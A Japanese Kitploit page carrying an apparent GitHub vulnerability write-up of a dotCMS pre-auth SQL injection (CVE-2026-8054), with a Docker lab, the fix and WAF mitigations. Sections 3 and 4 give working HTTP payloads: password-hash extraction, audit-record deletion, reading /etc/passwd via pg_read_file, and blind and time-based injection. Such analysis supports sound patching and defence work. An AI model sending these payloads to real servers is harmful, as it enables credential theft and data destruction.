Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8054 — dotCMS 事前認証SQLインジェクション | Kitploit
ツール/GitHubGitHub/mr-xn/cve-2026-8054
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

dotCMS 事前認証SQLインジェクション

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

1. 脆弱性概要

CVE-2026-8054 は、dotCMS Core の Publish Audit API に存在する重要度高のPre-auth SQLインジェクション脆弱性(Pre-auth SQL Injection)です。本脆弱性は公式にセキュリティインシデント SI-75 として追跡され、2026年5月末に正式に公開されました。攻撃者はアカウント権限を一切必要とせずにリモートから攻撃可能であり、潜在的な被害は非常に深刻です。

属性値
CVE番号CVE-2026-8054
公式追跡SI-75
脆弱性タイプSQLインジェクション (CWE-89)
影響コンポーネントdotCMS Core - Publish Audit API
CVSSスコア10.0 (Critical)
影響を受けるバージョン25.11.04-1 ~ 26.04.28-02
修正バージョン26.04.28-03
攻撃方法リモート未認証SQLインジェクション (Pre-auth)
必要な権限認証不要
ユーザ操作不要
LTSへの影響影響なし(監査コードブランチはLTSツリーにバックポートされていない)

2. 脆弱性の詳細説明

2.1 脆弱性の本質

脆弱性は /api/auditPublishing/get および /api/auditPublishing/getAll の2つのRESTエンドポイントに存在します。これらのエンドポイントはクライアントからのリクエストパラメータを受け取る際、フィルタリングやパラメータバインドを一切行わず、単純な文字列連結により動的にSQLクエリを構築します。

さらに致命的なのは、dotCMSがこれらの監査関連の内部APIに対して認証と権限チェックを完全に欠いている点です。つまり、外部ネットワークから資格情報を持たないリモート攻撃者が、システムにネットワークアクセスできれば、悪意のあるペイロードを含むHTTPリクエストを直接送信できるようになります。

2.2 脆弱性のエントリポイント

ファイルパス: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

脆弱性は2つのREST APIエンドポイントに存在します:

  • GET /api/auditPublishing/get/{bundleId} - 単一のパブリッシュ監査ステータスを取得
  • POST /api/auditPublishing/getAll - 複数のパブリッシュ監査ステータスを一括取得

主要な問題: 修正前、これらのエンドポイントは認証を一切必要とせず、匿名ユーザでも直接アクセス可能でした。

root@kitploit:~
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【脆弱性ポイント】認証チェックなし!直接バックエンドAPIを呼び出す
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 脆弱性のコアコード

ファイルパス: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

メソッド: getPublishAuditStatuses(List<String> bundleIds) (第224-245行)

root@kitploit:~
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【脆弱性ポイント1】ユーザ入力を直接SQL文に連結
        // シングルクォートで囲むだけで、パラメータ化やエスケープ処理は一切なし
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // 危険: 文字列連結
            .collect(Collectors.toList());

        // 【脆弱性ポイント2】String.formatでSQLを構築、ユーザ入力が直接埋め込まれる
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SQL定数 (SELECT_ALL_BY_BUNDLES_IDS):

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 汚染伝播経路

root@kitploit:~
graph LR
    subgraph 外部攻撃者
        A[リモート攻撃者] -->|悪意のあるペイロード送信| B[HTTP REST API]
    end

    subgraph アプリケーション層
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|呼び出し| D[PublishAuditAPI]
        D -->|呼び出し| E[PublishAuditAPIImpl]
        E -->|bundleIdsを渡す| F[汚染処理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|パラメータ連結| G[SQL構築<br/>String.format]
    end

    subgraph 技術層
        G -->|SQL構築| H[動的SQLクエリ<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|実行| I[SQL実行]
        I -->|注入SQL実行| J[PostgreSQL/MySQL]
    end

    subgraph 脆弱性ポイント
        K[脆弱性ポイント1<br/>認証チェックなし] -.->|認証バイパス| C
        L[脆弱性ポイント2<br/>パラメータバインドなし] -.->|単にクォートを追加| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

汚染伝播: ユーザ入力 → REST API → バックエンド処理 → SQL構築 → データベース実行 主要な欠陥: 認証なし + パラメータ化なし = 完全に制御可能なSQLインジェクション

2.5 SQLインジェクションの原理分析

ユーザ入力が bundleIds = ["x' OR '1'='1"] の場合を想定

正常なSQL:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

インジェクション後のSQL:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

'1'='1' は常に真となるため、このクエリはテーブル内の全レコードを返します。

root@kitploit:~
graph TD
    subgraph 入力比較
        A[正常入力<br/>bundle-123] -->|構築| B[正常なSQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[悪意のある入力<br/>x OR 1=1] -->|インジェクション| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph データベース実行
        B -->|実行| E[データベース]
        D -->|実行| E
    end

    subgraph 結果比較
        E -->|返却| F[正常結果<br/>1レコード]
        E -->|返却 データ漏洩| G[漏洩結果<br/>全レコード]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: シングルクォートで元の文字列を閉じる<br/>OR 1=1 で条件を常に真に<br/>結果: 全レコードを返す]

3. 影響と被害分析

本脆弱性を悪用された攻撃者は、データベースシステムユーザのコンテキストで任意のSQLコマンドを実行可能となり、以下のような重大な結果を引き起こします。

root@kitploit:~
graph TD
    subgraph 攻撃影響分析
        subgraph データ機密性
            A[管理者パスワードハッシュ]
            B[ユーザ資格情報]
            C[リセットトークン]
            D[システム設定]
        end

        subgraph データ整合性
            E[サイトコンテンツ]
            F[ユーザロール権限]
            G[監査ログ]
        end

        subgraph システム可用性
            H[DROP TABLE]
            I[DELETEデータ]
            J[UPDATEデータ]
        end

        subgraph 権限昇格
            K[管理者乗っ取り]
            L[ファイルシステム読み書き]
            M[リモートコード実行]
        end
    end

    N[SQLインジェクション脆弱性] -->|漏洩| A
    N -->|漏洩| B
    N -->|漏洩| C
    N -->|改ざん| E
    N -->|改ざん| F
    N -->|実行| H
    N -->|実現| K
    N -->|実現| L

    O[CVSS 10.0 Critical] -.->|評価| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 機密データの漏洩

攻撃者はSQLインジェクションによりコアデータベーステーブルを抜き出し、以下を取得可能:

  • 管理者パスワードハッシュ
  • ユーザ資格情報
  • リセットトークン
  • システム設定情報
  • サイトコンテンツデータ

攻撃ペイロード例 - 管理者パスワード取得:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 データ改ざんと破壊

攻撃者はデータベース内の以下のデータを任意に変更、挿入、削除可能:

  • サイトコンテンツ
  • ユーザロール権限
  • システム設定
  • 監査ログ

攻撃ペイロード例 - 監査レコード削除:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 権限昇格とリモートコード実行

バックエンドのデータベースタイプ(PostgreSQL、MySQL等)や設定権限に応じて、攻撃者は注入ポイントを通じて以下を実現する可能性があります:

  • 管理者アカウント乗っ取り
  • ファイルシステム読み書き(データベース関数を介して)
  • リモートコード実行(RCE)

攻撃ペイロード例 - PostgreSQLファイル読み取り:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 攻撃面分析


4. 脆弱性再現手順

4.1 環境構築

root@kitploit:~
graph TB
    subgraph Docker環境アーキテクチャ
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>bridgeネットワーク]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|公開| E
    A -->|公開| F
    B -->|公開| G
    C -->|公開| H

    A -->|データベース接続| B
    A -->|検索エンジン接続| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333

    note1[脆弱性バージョン: 25.11.04-1<br/>初期パスワード: admin<br/>ポート: 8080, 8443]

Docker Compose を使用して脆弱性環境を構築します:

docker-compose.yml:

root@kitploit:~
services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

Dockerfile:

root@kitploit:~
FROM dotcms/dotcms:25.11.04-1

起動コマンド:

root@kitploit:~
docker compose up -d
# dotCMSの初期化完了を待つ(約2~3分)
# 状態確認: docker compose logs -f dotcms

4.2 脆弱性検証

テスト1: エンドポイントが認証不要であることを確認

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

応答: 200 OK、空の配列 [] が返る。エンドポイントが認証不要でアクセス可能であることを確認。

テスト2: SQLインジェクション - ブラインドベース(Boolean-based) ✅ 確認済み

ブラインドベースSQLインジェクションの原理:HTTPレスポンスのステータスコードの違いを観察して、インジェクション条件の真偽を判断します。

root@kitploit:~
graph TD
    subgraph ブラインドベースの流れ
        A["リクエスト送信"] -->|ペイロード送信| B["/api/auditPublishing/getAll"]

        B -->|真条件| C["真条件 and 1=1"]
        B -->|偽条件| D["偽条件 and 1=2"]

        C -->|データ返却| E["404 Not Found データあり NPE"]
        D -->|データ返却なし| F["200 OK + 空配列 データなし正常"]

        E -->|分析| G["応答分析"]
        F -->|分析| G

        G -->|条件の真偽を推測| H["結論推定"]
    end

    style C fill:#51cf66,stroke:#333
    style D fill:#ff6b6b,stroke:#333,color:#fff
    style E fill:#ff6b6b,stroke:#333,color:#fff
    style F fill:#51cf66,stroke:#333

    note1["Payload: real-bundle-1 and 1=1 応答: 404 NPE例外 結論: 条件が真"]
    note2["Payload: real-bundle-1 and 1=2 応答: 200 + 空配列 結論: 条件が偽"]

真条件テスト (and 1=1):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

応答: 404 Not Found

偽条件テスト (and 1=2):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

応答: 200 OK、[] が返る

SQL実行分析:

root@kitploit:~
-- 真条件: bundle_idが一致 かつ 1=1が真 -> データ返却 -> コードがNPEを処理 -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- 偽条件: bundle_idが一致 だが 1=2が偽 -> データ返却なし -> 空結果を正常処理 -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

応答差異の原理:

結論: 404/200の応答差異を利用して、攻撃者はデータベース内の任意の情報(テーブル名、フィールド値、パスワードハッシュなど)を1ビットずつ推測可能。

テスト3: SQLインジェクション - 時間ベース(Time-based) ✅ 確認済み

時間ベースSQLインジェクションの原理:応答時間の差異を観察して、インジェクション条件の真偽を判断します。

root@kitploit:~
graph TD
    subgraph 時間ベースの流れ
        A["リクエスト送信"] -->|ペイロード送信| B["/api/auditPublishing/getAll"]
        B -->|渡す| C["遅延ペイロード SELECT pg_sleep N"]

        C -->|SQL実行| D["PostgreSQL"]
        D -->|呼び出し| E["pg_sleep N 遅延実行"]

        E -->|N秒遅延| F["応答時間を測定"]
        F -->|ベースライン比較| G["遅延差異を分析"]
        G -->|条件の真偽を推測| H["結論推定"]
    end

    style C fill:#51cf66,stroke:#333
    style E fill:#51cf66,stroke:#333

    note1["Payload: x and SELECT pg_sleep 3 text=t 正常応答: 0.03秒 遅延応答: 3.02秒 結論: pg_sleepが正常に実行"]

3秒遅延テスト:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

応答: 200 OK、所要時間 3.02秒

5秒遅延テスト:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

応答: 200 OK、所要時間 5.01秒

SQL実行分析:

root@kitploit:~
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

応答時間比較:

結論: 応答遅延を制御することで、攻撃者は結果が返ってこないシナリオでもデータベース情報を1ビットずつ推測可能。


5. 修正策の分析

5.1 PR #35553 の修正内容

root@kitploit:~
graph TD
    subgraph 修正策
        subgraph コード修正
            A[パラメータ化クエリ<br/>プレースホルダを使用]
            B[認証強化<br/>Push Publish Token]
            C[入力検証<br/>null/空チェック]
        end

        subgraph 修正効果
            D[SQLインジェクション防止]
            E[未承認アクセス制限]
            F[NullPointerException防止]
        end

        G[PR #35553]
        H[修正バージョン<br/>26.04.28-03]
    end

    G -->|実装| A
    G -->|実装| B
    G -->|実装| C

    A -->|パラメータバインド| D
    B -->|強制認証| E
    C -->|Null処理| F

    H -->|含む| G

    style G fill:#51cf66,stroke:#333
    style H fill:#51cf66,stroke:#333

    note1[修正前: String.formatで連結<br/>修正後: dc.addParamでパラメータバインド]

修正1: パラメータ化クエリ

修正前 (脆弱性コード):

root@kitploit:~
final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

修正後 (安全なコード):

root@kitploit:~
// 追加: nullチェック
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// パラメータ化クエリのプレースホルダを使用
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // パラメータバインドでSQLインジェクション防止

修正2: 認証強化

修正前:

root@kitploit:~
public Response getAll(List<String> bundleIds) {
    // 認証チェックなし
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

修正後:

root@kitploit:~
public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // 追加: Push Publish Token認証チェック
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // 401 Unauthorizedを返す
    }
    // ...
}

5.2 修正の原理

修正措置説明
パラメータ化クエリ? プレースホルダを文字列連結の代わりに使用。データベースが自動的にパラメータをエスケープ処理し、SQLインジェクションを根本的に防止
認証強化有効なPush Publish Tokenをリクエストに要求。publishing-queueコンポーネントの権限を持つログインユーザのみアクセス可能に制限
入力検証nullや空リストのチェックを追加し、NullPointerExceptionを防止

5.3 影響バージョンの説明

  • 影響を受けるバージョン: dotCMS Core 25.11.04-1 ~ 26.04.28-02 のアジャイル開発/急速反復バージョン
  • 影響を受けないバージョン: LTS(長期サポート版)は影響を受けません。これは影響を受ける監査コードブランチがLTSツリーにバックポート(逆移植)されたことがないためです。

6. 一時的な緩和策と防御推奨事項

修正バージョンにすぐにアップグレードできない場合は、以下の一時的な緩和策を講じてください。

root@kitploit:~
graph TD
    subgraph 防御策
        subgraph ネットワーク層
            A[WAFルールでブロック<br/>/api/auditPublishing/を遮断]
            B[ファイアウォール制限<br/>内部ネットワークのみ許可]
        end

        subgraph アプリケーション層
            C[Nginx防御ルール<br/>locationでブロック]
            D[ModSecurityルール<br/>SQLインジェクション検出]
        end

        subgraph データ層
            E[データベース権限制限<br/>最小権限の原則]
            F[危険な関数制限<br/>pg_read_file等]
        end

        G[26.04.28-03へのアップグレード<br/>根本的解決策]
    end

    A -.->|一時的な代替| G
    B -.->|一時的な代替| G
    C -.->|一時的な代替| G
    E -.->|影響軽減| G

    style G fill:#51cf66,stroke:#333
    style A fill:#ffd43b,stroke:#333
    style B fill:#ffd43b,stroke:#333
    style C fill:#ffd43b,stroke:#333
    style D fill:#ffd43b,stroke:#333

    note1[優先度: P0 - 直ちにアップグレード<br/>その他の措置は一時的な緩和策]

6.1 WAFルールによるブロック

Webアプリケーションファイアウォール(WAF)やリバースプロキシでアクセス制御ポリシーを設定し、外部ネットワークからの /api/auditPublishing/get および /api/auditPublishing/getAll パスへのリクエストを直接ブロックまたは拒否します。

Nginx 防御ルール設定例

root@kitploit:~
# /etc/nginx/conf.d/dotcms-security.conf

# Publish Audit API リクエストをブロック
location ~ ^/api/auditPublishing/(get|getAll) {
    # 403を返してアクセス禁止
    return 403 "Forbidden: Endpoint blocked for security reasons";
    add_header Content-Type text/plain;
}

# または、より緩和された方法で内部ネットワークのみ許可
location ~ ^/api/auditPublishing/(get|getAll) {
    # 内部IPセグメントを許可
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # その他すべてを拒否
    deny all;
}

# SQLインジェクション特徴に対するWAFルール
location / {
    # 一般的なSQLインジェクション特徴を検出
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # シングルクォートインジェクション検出
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

ModSecurity WAFルール例

root@kitploit:~
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# ルール1: 脆弱性エンドポイントへのアクセスをブロック
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"

# ルール2: SQLインジェクション特徴を検出
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"

6.2 データベース権限制限

dotCMSがデータベースに接続するアカウントが最小権限の原則に従っていることを確認します:

root@kitploit:~
-- PostgreSQL 権限制限例
-- 制限付きユーザ作成
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';

-- 必要なテーブル権限のみ付与
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- テーブルの作成/削除を禁止
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- システムコマンド実行を禁止
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- ファイル読み取りを禁止
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

6.3 ネットワーク層の保護

root@kitploit:~
# iptablesを使用してAPIポートへのアクセスを制限
# 内部ネットワークからの8080ポートアクセスのみ許可
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

7. まとめ

root@kitploit:~
graph TD
    subgraph 脆弱性まとめ
        subgraph 根本原因分析
            A[入力検証不足<br/>ユーザ入力を直接SQLに連結]
            B[認証不足<br/>APIが認証不要でアクセス可能]
            C[パラメータ化不足<br/>文字列連結、パラメータクエリなし]
        end

        subgraph CVSS評価
            D[CVSS 10.0<br/>Critical]
            E[ネットワークリモート]
            F[低複雑性]
            G[認証不要]
        end

        subgraph 修正推奨事項
            H[P0: 直ちにアップグレード<br/>26.04.28-03]
            I[P1: WAFブロック<br/>一時的緩和]
            J[P2: データベース権限<br/>影響軽減]
        end
    end

    A -->|原因| D
    B -->|原因| D
    C -->|原因| D

    H -->|解決| A
    H -->|解決| B
    H -->|解決| C

    I -.->|一時的代替| H
    J -.->|リスク軽減| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[攻撃ベクトル: Network<br/>攻撃複雑性: Low<br/>権限要件: None<br/>ユーザ操作: None]

7.1 脆弱性の根本原因

  1. 入力検証不足: ユーザ入力が直接SQL文に連結され、フィルタリングやエスケープが一切行われていない。
  2. 認証不足: APIエンドポイントが認証不要でアクセス可能であり、機密性の高いバックエンド機能が露出している。
  3. パラメータ化不足: パラメータ化クエリではなく文字列連結を使用しており、安全なコーディングのベストプラクティスに反している。

7.2 攻撃面評価

  • 攻撃ベクトル: ネットワークリモート (Network)
  • 攻撃複雑性: 低 (Low)
  • 前提条件: なし (None)
  • ユーザ操作: 不要 (None)
  • CVSSスコア: 10.0 (Critical)

7.3 修正推奨事項の優先順位

7.4 LTSバージョンに関する説明

公式発表では LTS(長期サポート版)は影響を受けません。これは影響を受ける監査コードブランチがLTSツリーにバックポート(逆移植)されたことがないためです。LTSバージョンをご利用のお客様は緊急のアップグレードは不要です。


8. 参考情報

  1. NVD - CVE-2026-8054
  2. SentinelOne - CVE-2026-8054 Vulnerability Database
  3. dotCMS Security Advisory - SI-75
  4. dotCMS REST API Authentication
  5. GitHub PR #35553 - Fix
  6. Alan Turing Institute - TIER_2 CVE-2026-8054 Report

レポート生成日時: 2026-06-08 分析ツール: Docker, curl, PostgreSQL 脆弱性バージョン: dotCMS 25.11.04-1 修正バージョン: dotCMS 26.04.28-03 (PR #35553)

ツールをダウンロード
次元評価
攻撃ベクトルネットワークリモート (Network)
攻撃複雑性低 (Low)
前提条件なし (None)
ユーザ操作不要 (None)
影響範囲変更あり (Changed)
機密性への影響高 (High)
整合性への影響高 (High)
可用性への影響高 (High)
条件SQL結果コード動作HTTP応答
and 1=1 (真)一致レコードを返すturnIntoPublishAuditStatus() でデータ処理時に NullPointerException404
and 1=2 (偽)レコードを返さない空リストを正常に返す200 + []
ペイロード
予想遅延
実際の所要時間
結果
正常リクエスト0秒0.03秒✅
pg_sleep(3)3秒3.02秒✅ 遅延成功
pg_sleep(5)5秒5.01秒✅ 遅延成功
優先度措置説明
P0 - 直ちにdotCMS 26.04.28-03 以降にアップグレード公式修正バージョンで根本的に問題を解決
P1 - 緊急WAFルールでブロック設定一時的な緩和策で攻撃トラフィックを阻止
P2 - 重要データベース権限を制限脆弱性悪用後の影響範囲を低減
P3 - 推奨その他のエンドポイントのセキュリティ監査類似問題の有無を確認